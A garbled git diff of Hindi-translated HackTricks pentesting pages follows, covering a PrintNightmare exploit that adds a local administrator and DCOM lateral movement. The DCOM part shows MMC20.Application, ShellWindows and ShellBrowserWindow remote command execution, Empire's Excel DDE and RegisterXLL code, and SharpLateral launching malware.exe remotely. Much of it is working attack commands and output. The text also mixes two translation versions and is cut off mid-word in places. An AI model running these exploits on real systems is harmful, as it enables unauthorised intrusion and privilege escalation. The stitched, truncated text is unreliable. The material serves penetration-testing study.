अब हम PowerShell स्क्रिप्ट को आयात कर सकते हैं और इसका उपयोग करके एक नया स्थानीय व्यवस्थापक उपयोगकर्ता जोड़ सकते हैं।
|
||||
```powershell
|
||||
PS C:\htb> Import-Module .\CVE-2021-1675.ps1
|
||||
PS C:\htb> Invoke-Nightmare -NewUser "hacker" -NewPassword "Pwnd1234!" -DriverName "PrintIt"
|
||||
|
||||
[+] created payload at C:\Users\htb-student\AppData\Local\Temp\nightmare.dll
|
||||
[+] using pDriverPath = "C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_am
|
||||
d64_ce3301b66255a0fb\Amd64\mxdwdrv.dll"
|
||||
[+] added user hacker as local administrator
|
||||
[+] deleting payload from C:\Users\htb-student\AppData\Local\Temp\nightmare.dll
|
||||
```
|
||||
### **नए व्यवस्थापक उपयोगकर्ता की पुष्टि करना**
|
||||
|
||||
यदि सब कुछ योजना के अनुसार हुआ हो, तो हमारे अधीन एक नया स्थानीय व्यवस्थापक उपयोगकर्ता होगा। एक उपयोगकर्ता जोड़ना "शोरगुल" होता है, हमें ऐसा करना नहीं चाहिए जब एक ऐसे अवसर में जहां छिपकर रहना महत्वपूर्ण हो। इसके अलावा, हमें अपने ग्राहक के साथ सत्यापित करना चाहिए कि मापन के लिए खाता निर्माण समावेश में है।
|
||||
```
|
||||
PS C:\htb> net user hacker
|
||||
|
||||
User name hacker
|
||||
Full Name hacker
|
||||
Comment
|
||||
User's comment
|
||||
Country/region code 000 (System Default)
|
||||
Account active Yes
|
||||
Account expires Never
|
||||
|
||||
Password last set ?8/?9/?2021 12:12:01 PM
|
||||
Password expires Never
|
||||
Password changeable ?8/?9/?2021 12:12:01 PM
|
||||
Password required Yes
|
||||
User may change password Yes
|
||||
|
||||
Workstations allowed All
|
||||
Logon script
|
||||
User profile
|
||||
Home directory
|
||||
Last logon Never
|
||||
|
||||
Logon hours allowed All
|
||||
|
||||
Local Group Memberships *Administrators
|
||||
Global Group memberships *None
|
||||
The command completed successfully.
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करना चाहिए? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFT संग्रह**](https://opensea.io/collection/the-peass-family)
|
||||
* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में या मुझे **Twitter** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **अपने हैकिंग ट्रिक्स को [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud)** को PR जमा करके साझा करें।
|
||||
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को हैकट्रिक्स में विज्ञापित** देखना चाहते हैं? या क्या आप **PEASS के नवीनतम संस्करण या हैकट्रिक्स को पीडीएफ में डाउनलोड** करना चाहते हैं? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जांच करें!
|
||||
* [**द पीएस फैमिली**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**एनएफटी**](https://opensea.io/collection/the-peass-family) संग्रह।
|
||||
* [**आधिकारिक PEASS और हैकट्रिक्स स्वैग**](https://peass.creator-spring.com) प्राप्त करें।
|
||||
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** **ट्विटर** पर **फॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**।**
|
||||
* **अपने हैकिंग ट्रिक्स साझा करें, [हैकट्रिक्स रेपो](https://github.com/carlospolop/hacktricks) और [हैकट्रिक्स-क्लाउड रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके**।
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,17 +4,17 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे**? या क्या आप **PEASS के नवीनतम संस्करण तक पहुँचना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं**? [**सदस्यता योजनाओं**](https://github.com/sponsors/carlospolop) की जाँच करें!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* **[**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) में शामिल हों या [**telegram समूह**](https://t.me/peass) में या मुझे **Twitter** पर **फॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **hacktricks repo** और **hacktricks-cloud repo** में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें..
|
||||
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं**? या क्या आप **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करना चाहते हैं**? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) की जाँच करें!
|
||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, **The PEASS Family** की खोज करें
|
||||
* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **Twitter** पर **फॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**hacktricks रेपो**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud रेपो**](https://github.com/carlospolop/hacktricks-cloud) **को**।
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
अपनी तकनीकी स्टैक में, APIs से लेकर वेब ऐप्स और क्लाउड सिस्टम्स तक, सबसे महत्वपूर्ण कमजोरियों को खोजें ताकि आप उन्हें तेजी से ठीक कर सकें। Intruder आपकी अटैक सरफेस को ट्रैक करता है, सक्रिय खतरा स्कैन चलाता है, और आपके पूरे तकनीकी स्टैक में मुद्दों को ढूंढता है। आज ही [**मुफ्त में इसे आजमाएं**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)।
|
||||
वे सुरक्षा गड़बड़ी खोजें जो सबसे अधिक मायने रखती है ताकि आप उन्हें तेजी से ठीक कर सकें। Intruder आपकी हमले की सतह का ट्रैक करता है, प्रोएक्टिव धारणा स्कैन चलाता है, आपकी पूरी तकनीकी स्टैक, API से वेब ऐप्स और क्लाउड सिस्टम तक मुद्दे खोजता है। [**आज ही मुफ्त में इसे ट्राई करें**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)।
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
|
@ -22,118 +22,63 @@
|
|||
|
||||
## MMC20.Application
|
||||
|
||||
**DCOM** (Distributed Component Object Model) ऑब्जेक्ट्स **रोचक** होते हैं क्योंकि आप नेटवर्क के जरिए ऑब्जेक्ट्स के साथ **इंटरैक्ट** कर सकते हैं। Microsoft का DCOM पर कुछ अच्छा दस्तावेज़ीकरण [यहाँ](https://msdn.microsoft.com/en-us/library/cc226801.aspx) और COM पर [यहाँ](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx) है। आप PowerShell का उपयोग करके `Get-CimInstance Win32_DCOMApplication` चलाकर DCOM एप्लिकेशन्स की एक मजबूत सूची पा सकते हैं।
|
||||
वितरित कॉम्पोनेंट ऑब्जेक्ट मॉडल (DCOM) ऑब्जेक्ट्स नेटवर्क-आधारित ऑब्जेक्ट्स के साथ दिलचस्प क्षमता प्रस्तुत करते हैं। माइक्रोसॉफ्ट DCOM और कॉम्पोनेंट ऑब्जेक्ट मॉडल (COM) के लिए व्यापक दस्तावेज़ीकरण प्रदान करता है, जिसका उपयोग [DCOM के लिए यहाँ](https://msdn.microsoft.com/en-us/library/cc226801.aspx) और [COM के लिए यहाँ](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx) किया जा सकता है। DCOM एप्लिकेशनों की सूची PowerShell कमांड का उपयोग करके प्राप्त की जा सकती है:
|
||||
```bash
|
||||
Get-CimInstance Win32_DCOMApplication
|
||||
```
|
||||
The COM object, [MMC Application Class (MMC20.Application)](https://technet.microsoft.com/en-us/library/cc181199.aspx), enables scripting of MMC snap-in operations. Notably, this object contains a `ExecuteShellCommand` method under `Document.ActiveView`. More information about this method can be found [here](https://msdn.microsoft.com/en-us/library/aa815396\(v=vs.85\).aspx). Check it running:
|
||||
|
||||
[MMC Application Class (MMC20.Application)](https://technet.microsoft.com/en-us/library/cc181199.aspx) COM ऑब्जेक्ट आपको MMC स्नैप-इन ऑपरेशन्स के घटकों को स्क्रिप्ट करने की अनुमति देता है। इस COM ऑब्जेक्ट के भिन्न मेथड्स और प्रॉपर्टीज को सूचीबद्ध करते समय, मैंने देखा कि Document.ActiveView के अंतर्गत `ExecuteShellCommand` नामक एक मेथड है।
|
||||
This feature facilitates the execution of commands over a network through a DCOM application. To interact with DCOM remotely as an admin, PowerShell can be utilized as follows:
|
||||
```powershell
|
||||
[activator]::CreateInstance([type]::GetTypeFromProgID("<DCOM_ProgID>", "<IP_Address>"))
|
||||
```
|
||||
यह कमांड DCOM एप्लिकेशन से कनेक्ट करता है और COM ऑब्ज
|
||||
```powershell
|
||||
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
|
||||
$com.Document.ActiveView | Get-Member
|
||||
```
|
||||
प्राप्त करें RCE:
|
||||
```powershell
|
||||
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
|
||||
$com | Get-Member
|
||||
|
||||
![](<../../.gitbook/assets/image (4) (2) (1) (1).png>)
|
||||
# Then just run something like:
|
||||
|
||||
उस मेथड के बारे में और पढ़ें [यहाँ](https://msdn.microsoft.com/en-us/library/aa815396\(v=vs.85\).aspx)। अब तक, हमारे पास एक DCOM एप्लिकेशन है जिसे हम नेटवर्क के जरिए एक्सेस कर सकते हैं और कमांड्स निष्पादित कर सकते हैं। अंतिम भाग यह है कि इस DCOM एप्लिकेशन और ExecuteShellCommand मेथड का लाभ उठाकर एक दूरस्थ होस्ट पर कोड निष्पादन प्राप्त करना है।
|
||||
|
||||
सौभाग्य से, एक एडमिन के रूप में, आप PowerShell का उपयोग करके DCOM के साथ दूरस्थ रूप से इंटरैक्ट कर सकते हैं, “`[activator]::CreateInstance([type]::GetTypeFromProgID`” का उपयोग करके। आपको बस एक DCOM ProgID और एक IP पता प्रदान करना होगा। फिर यह आपको उस COM ऑब्जेक्ट का एक इंस्टेंस दूरस्थ रूप से प्रदान करेगा:
|
||||
|
||||
![](<../../.gitbook/assets/image (665).png>)
|
||||
|
||||
फिर दूरस्थ होस्ट पर एक प्रक्रिया शुरू करने के लिए `ExecuteShellCommand` मेथड को आमंत्रित करना संभव है:
|
||||
|
||||
![](<../../.gitbook/assets/image (1) (4) (1).png>)
|
||||
ls \\10.10.10.10\c$\Users
|
||||
```
|
||||
अधिक जानकारी के लिए [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/) देखें
|
||||
|
||||
## ShellWindows & ShellBrowserWindow
|
||||
|
||||
**MMC20.Application** ऑब्जेक्ट में स्पष्ट "[LaunchPermissions](https://technet.microsoft.com/en-us/library/bb633148.aspx)" की कमी थी, जिसके परिणामस्वरूप डिफ़ॉल्ट अनुमति सेट एडमिनिस्ट्रेटर्स को पहुँच प्रदान करती है:
|
||||
**MMC20.Application** ऑब्जेक्ट का पता लगाया गया कि यह "LaunchPermissions" को स्पष्ट रूप से अभाविप्त करता है, जो प्रशासकों को पहुंचने की अनुमति देता है। अधिक विवरणों के लिए, एक थ्रेड [यहाँ](https://twitter.com/tiraniddo/status/817532039771525120) जांचा जा सकता है, और [@tiraniddo](https://twitter.com/tiraniddo) के OleView .NET का उपयोग किया जाता है।
|
||||
|
||||
![](<../../.gitbook/assets/image (4) (1) (2).png>)
|
||||
|
||||
उस थ्रेड के बारे में और पढ़ें [यहाँ](https://twitter.com/tiraniddo/status/817532039771525120).\
|
||||
जिन अन्य ऑब्जेक्ट्स में स्पष्ट LaunchPermission सेट नहीं है, उन्हें देखना [@tiraniddo](https://twitter.com/tiraniddo) के [OleView .NET](https://github.com/tyranid/oleviewdotnet) का उपयोग करके हासिल किया जा सकता है, जिसमें उत्कृष्ट Python फिल्टर्स (अन्य चीजों के बीच) हैं। इस उदाहरण में, हम सभी ऑब्जेक्ट्स को फिल्टर कर सकते हैं जिनमें स्पष्ट Launch Permission नहीं है। ऐसा करने पर, मुझे दो ऑब्जेक्ट्स खास तौर पर ध्यान में आए: `ShellBrowserWindow` और `ShellWindows`:
|
||||
|
||||
![](<../../.gitbook/assets/image (3) (1) (1) (2).png>)
|
||||
|
||||
संभावित लक्ष्य ऑब्जेक्ट्स की पहचान करने का एक और तरीका `HKCR:\AppID\{guid}` में कीज़ से `LaunchPermission` मान की अनुपस्थिति को देखना है। Launch Permissions सेट के साथ एक ऑब्जेक्ट नीचे दिए गए अनुसार दिखाई देगा, जिसमें ऑब्जेक्ट के लिए ACL को बाइनरी प्रारूप में डेटा प्रतिनिधित्व करता है:
|
||||
|
||||
![](https://enigma0x3.files.wordpress.com/2017/01/launch\_permissions\_registry.png?w=690\&h=169)
|
||||
|
||||
जिनमें स्पष्ट LaunchPermission सेट नहीं है, उनमें वह विशेष रजिस्ट्री प्रविष्टि अनुपस्थित होगी।
|
||||
|
||||
### ShellWindows
|
||||
|
||||
पहला ऑब्जेक्ट जिसे खोजा गया था [ShellWindows](https://msdn.microsoft.com/en-us/library/windows/desktop/bb773974\(v=vs.85\).aspx)। चूंकि इस ऑब्जेक्ट के साथ कोई [ProgID](https://msdn.microsoft.com/en-us/library/windows/desktop/ms688254\(v=vs.85\).aspx) संबद्ध नहीं है, हम [Type.GetTypeFromCLSID](https://msdn.microsoft.com/en-us/library/system.type.gettypefromclsid\(v=vs.110\).aspx) .NET मेथड के साथ [Activator.CreateInstance](https://msdn.microsoft.com/en-us/library/system.activator.createinstance\(v=vs.110\).aspx) मेथड का उपयोग करके दूरस्थ होस्ट पर इस ऑब्जेक्ट को इंस्टेंट करने के लिए उसके AppID का उपयोग कर सकते हैं। इसके लिए हमें ShellWindows ऑब्जेक्ट के लिए [CLSID](https://msdn.microsoft.com/en-us/library/windows/desktop/ms691424\(v=vs.85\).aspx) प्राप्त करना होगा, जो OleView .NET का उपयोग करके हासिल किया जा सकता है:
|
||||
|
||||
![shellwindow\_classid](https://enigma0x3.files.wordpress.com/2017/01/shellwindow\_classid.png?w=434\&h=424)
|
||||
|
||||
जैसा कि आप नीचे देख सकते हैं, "Launch Permission" फ़ील्ड खाली है, जिसका अर्थ है कि कोई स्पष्ट अनुमतियाँ सेट नहीं हैं।
|
||||
|
||||
![screen-shot-2017-01-23-at-4-12-24-pm](https://enigma0x3.files.wordpress.com/2017/01/screen-shot-2017-01-23-at-4-12-24-pm.png?w=455\&h=401)
|
||||
|
||||
अब जब हमारे पास CLSID है, हम दूरस्थ लक्ष्य पर ऑब्जेक्ट को इंस्टेंट कर सकते हैं:
|
||||
दो विशेष ऑब्ज
|
||||
```powershell
|
||||
$com = [Type]::GetTypeFromCLSID("<clsid>", "<IP>") #9BA05972-F6A8-11CF-A442-00A0C90A8F39
|
||||
$com = [Type]::GetTypeFromCLSID("<clsid>", "<IP>")
|
||||
$obj = [System.Activator]::CreateInstance($com)
|
||||
```
|
||||
![](https://enigma0x3.files.wordpress.com/2017/01/remote_instantiation_shellwindows.png?w=690&h=354)
|
||||
|
||||
जब ऑब्जेक्ट रिमोट होस्ट पर इंस्टैंटिएट हो जाता है, हम उसके साथ इंटरफेस कर सकते हैं और जो भी मेथड्स हम चाहें उन्हें इन्वोक कर सकते हैं। ऑब्जेक्ट के लिए वापस आया हैंडल कई मेथड्स और प्रॉपर्टीज को प्रकट करता है, जिनमें से किसी के साथ भी हम इंटरैक्ट नहीं कर सकते। रिमोट होस्ट के साथ वास्तविक इंटरैक्शन प्राप्त करने के लिए, हमें [WindowsShell.Item](https://msdn.microsoft.com/en-us/library/windows/desktop/bb773970\(v=vs.85\).aspx) मेथड तक पहुँचने की आवश्यकता है, जो हमें एक ऑब्जेक्ट वापस देगा जो विंडोज शेल विंडो का प्रतिनिधित्व करता है:
|
||||
```
|
||||
$item = $obj.Item()
|
||||
```
|
||||
```markdown
|
||||
![](https://enigma0x3.files.wordpress.com/2017/01/item_instantiation.png?w=416&h=465)
|
||||
|
||||
Shell Window पर पूरी पकड़ होने के साथ, हम अब सभी अपेक्षित विधियों/गुणों तक पहुँच सकते हैं जो उजागर किए गए हैं। इन विधियों को देखने के बाद, **`Document.Application.ShellExecute`** ने ध्यान खींचा। इस विधि के लिए पैरामीटर आवश्यकताओं का पालन करना सुनिश्चित करें, जो [यहाँ](https://msdn.microsoft.com/en-us/library/windows/desktop/gg537745(v=vs.85).aspx) दस्तावेज़ीकृत हैं।
|
||||
```
|
||||
```powershell
|
||||
$item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\system32", $null, 0)
|
||||
```
|
||||
जैसा कि आप ऊपर देख सकते हैं, हमारा कमांड एक दूरस्थ होस्ट पर सफलतापूर्वक निष्पादित हुआ।
|
||||
### Excel DCOM ऑब्जेक्ट के साथ लैटरल मूवमेंट
|
||||
|
||||
### ShellBrowserWindow
|
||||
लैटरल मूवमेंट को DCOM Excel ऑब्जेक्ट का शोषण करके प्राप्त किया जा सकता है। विस्तृत जानकारी के लिए, सुझाव दिया जाता है कि [Cybereason's blog](https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom) पर DCOM के माध्यम से लैटरल मूवमेंट के लिए Excel DDE का उपयोग करने पर चर्चा की जाए।
|
||||
|
||||
यह विशेष ऑब्जेक्ट Windows 7 पर मौजूद नहीं है, जिससे इसका उपयोग लेटरल मूवमेंट के लिए "ShellWindows" ऑब्जेक्ट की तुलना में थोड़ा सीमित हो जाता है, जिसे मैंने Win7-Win10 पर सफलतापूर्वक परीक्षण किया।
|
||||
|
||||
इस ऑब्जेक्ट के मेरे अनुसंधान के आधार पर, यह प्रभावी रूप से एक्सप्लोरर विंडो में एक इंटरफेस प्रदान करता है जैसे कि पिछला ऑब्जेक्ट करता है। इस ऑब्जेक्ट को इंस्टेंटिएट करने के लिए, हमें इसके CLSID की आवश्यकता होती है। ऊपर की तरह, हम OleView .NET का उपयोग कर सकते हैं:
|
||||
|
||||
![shellbrowser\_classid](https://enigma0x3.files.wordpress.com/2017/01/shellbrowser\_classid.png?w=428\&h=414)
|
||||
|
||||
फिर से, खाली Launch Permission फील्ड का ध्यान रखें:
|
||||
|
||||
![screen-shot-2017-01-23-at-4-13-52-pm](https://enigma0x3.files.wordpress.com/2017/01/screen-shot-2017-01-23-at-4-13-52-pm.png?w=399\&h=340)
|
||||
|
||||
CLSID के साथ, हम पिछले ऑब्जेक्ट पर किए गए चरणों को दोहरा सकते हैं ताकि ऑब्जेक्ट को इंस्टेंटिएट किया जा सके और वही मेथड कॉल किया जा सके:
|
||||
Empire परियोजना एक PowerShell स्क्रिप्ट प्रदान करती है, जो Excel का उपयोग द्वारा दूरस्थ कोड निष्पादन (RCE) का प्रदर्शन करता है जिसे DCOM ऑब्जेक्ट को मानिपुलेट करके किया जाता है। नीचे [Empire's GitHub repository](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1) पर उपलब्ध स्क्रिप्ट से अलग-अलग विधियों का प्रदर्शन करते हुए Excel का दुरुपयोग करने के लिए RCE के लिए:
|
||||
```powershell
|
||||
$com = [Type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880", "<IP>")
|
||||
$obj = [System.Activator]::CreateInstance($com)
|
||||
|
||||
$obj.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "C:\Windows\system32", $null, 0)
|
||||
```
|
||||
जैसा कि आप देख सकते हैं, कमांड ने रिमोट टारगेट पर सफलतापूर्वक निष्पादित किया।
|
||||
|
||||
चूंकि यह ऑब्जेक्ट सीधे Windows शेल के साथ इंटरफेस करता है, हमें "ShellWindows.Item" मेथड को इन्वोक करने की आवश्यकता नहीं है, जैसा कि पिछले ऑब्जेक्ट पर था।
|
||||
|
||||
जबकि ये दो DCOM ऑब्जेक्ट्स रिमोट होस्ट पर शेल कमांड्स चलाने के लिए इस्तेमाल किए जा सकते हैं, बहुत सारे अन्य दिलचस्प मेथड्स हैं जिनका इस्तेमाल रिमोट टारगेट को एन्युमरेट या टैम्पर करने के लिए किया जा सकता है। इन मेथड्स में से कुछ शामिल हैं:
|
||||
|
||||
* `Document.Application.ServiceStart()`
|
||||
* `Document.Application.ServiceStop()`
|
||||
* `Document.Application.IsServiceRunning()`
|
||||
* `Document.Application.ShutDownWindows()`
|
||||
* `Document.Application.GetSystemInformation()`
|
||||
|
||||
## ExcelDDE & RegisterXLL
|
||||
|
||||
इसी तरह की तरीके से DCOM Excel ऑब्जेक्ट्स का दुरुपयोग करके लेटरल मूवमेंट किया जा सकता है, अधिक जानकारी के लिए पढ़ें [https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom](https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom)
|
||||
```powershell
|
||||
# Chunk of code from https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1
|
||||
## You can see here how to abuse excel for RCE
|
||||
# Detection of Office version
|
||||
elseif ($Method -Match "DetectOffice") {
|
||||
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
|
||||
$Obj = [System.Activator]::CreateInstance($Com)
|
||||
$isx64 = [boolean]$obj.Application.ProductCode[21]
|
||||
Write-Host $(If ($isx64) {"Office x64 detected"} Else {"Office x86 detected"})
|
||||
}
|
||||
# Registration of an XLL
|
||||
elseif ($Method -Match "RegisterXLL") {
|
||||
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
|
||||
$Obj = [System.Activator]::CreateInstance($Com)
|
||||
$obj.Application.RegisterXLL("$DllPath")
|
||||
}
|
||||
# Execution of a command via Excel DDE
|
||||
elseif ($Method -Match "ExcelDDE") {
|
||||
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
|
||||
$Obj = [System.Activator]::CreateInstance($Com)
|
||||
|
@ -141,34 +86,44 @@ $Obj.DisplayAlerts = $false
|
|||
$Obj.DDEInitiate("cmd", "/c $Command")
|
||||
}
|
||||
```
|
||||
### लेटरल मूवमेंट के लिए स्वचालन उपकरण
|
||||
|
||||
इन तकनीकों को स्वचालित करने के लिए दो उपकरणों को उजागर किया गया है:
|
||||
|
||||
- **Invoke-DCOM.ps1**: एक PowerShell स्क्रिप्ट जो विभिन्न विधियों को आसानी से अभिवादन करने के लिए उपयुक्त है जिससे दूरस्थ मशीनों पर कोड का निष्पादन किया जा सकता है। यह स्क्रिप्ट Empire GitHub भंडार में उपलब्ध है।
|
||||
|
||||
- **SharpLateral**: एक उपकरण जो दूरस्थ स्थान पर कोड का निष्पादन करने के लिए डिज़ाइन किया गया है, जिसे निम्नलिखित कमांड के साथ उपयोग किया जा सकता है:
|
||||
```bash
|
||||
SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
|
||||
```
|
||||
## स्वचालित उपकरण
|
||||
|
||||
* Powershell स्क्रिप्ट [**Invoke-DCOM.ps1**](https://github.com/EmpireProject/Empire/blob/master/data/module\_source/lateral\_movement/Invoke-DCOM.ps1) अन्य मशीनों में कोड निष्पादित करने के सभी टिप्पणी किए गए तरीकों को आसानी से आमंत्रित करने की अनुमति देता है।
|
||||
* आप [**SharpLateral**](https://github.com/mertdas/SharpLateral) का भी उपयोग कर सकते हैं:
|
||||
* Powershell स्क्रिप्ट [**Invoke-DCOM.ps1**](https://github.com/EmpireProject/Empire/blob/master/data/module\_source/lateral\_movement/Invoke-DCOM.ps1) को आसानी से अन्य मशीनों में कोड निष्पादित करने के सभी टिप्पणीत तरीकों को आमंत्रित करने की अनुमति देता है।
|
||||
* आप [**SharpLateral**](https://github.com/mertdas/SharpLateral) भी उपयोग कर सकते हैं:
|
||||
```bash
|
||||
SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
|
||||
```
|
||||
## संदर्भ
|
||||
|
||||
* पहली विधि की प्रतिलिपि [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/) से ली गई है, अधिक जानकारी के लिए लिंक का अनुसरण करें
|
||||
* दूसरे खंड की प्रतिलिपि [https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/) से ली गई है, अधिक जानकारी के लिए लिंक का अनुसरण करें
|
||||
* [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)
|
||||
* [https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
सबसे महत्वपूर्ण कमजोरियों को खोजें ताकि आप उन्हें तेजी से ठीक कर सकें। Intruder आपकी हमले की सतह को ट्रैक करता है, सक्रिय खतरे के स्कैन चलाता है, आपके पूरे तकनीकी स्टैक में मुद्दों को खोजता है, APIs से लेकर वेब ऐप्स और क्लाउड सिस्टम्स तक। आज ही [**मुफ्त में इसे आजमाएं**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)।
|
||||
वे सुरक्षा दोषों को खोजें जो सबसे अधिक मायने रखते हैं ताकि आप उन्हें तेजी से ठीक कर सकें। Intruder आपकी हमले की सतह का ट्रैक करता है, प्रोएक्टिव धारणा स्कैन चलाता है, आपकी पूरी तकनीकी स्टैक, API से वेब ऐप्स और क्लाउड सिस्टम तक मुद्दे खोजता है। [**आज ही मुफ्त में इसका प्रयास करें**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)।
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert) के साथ AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
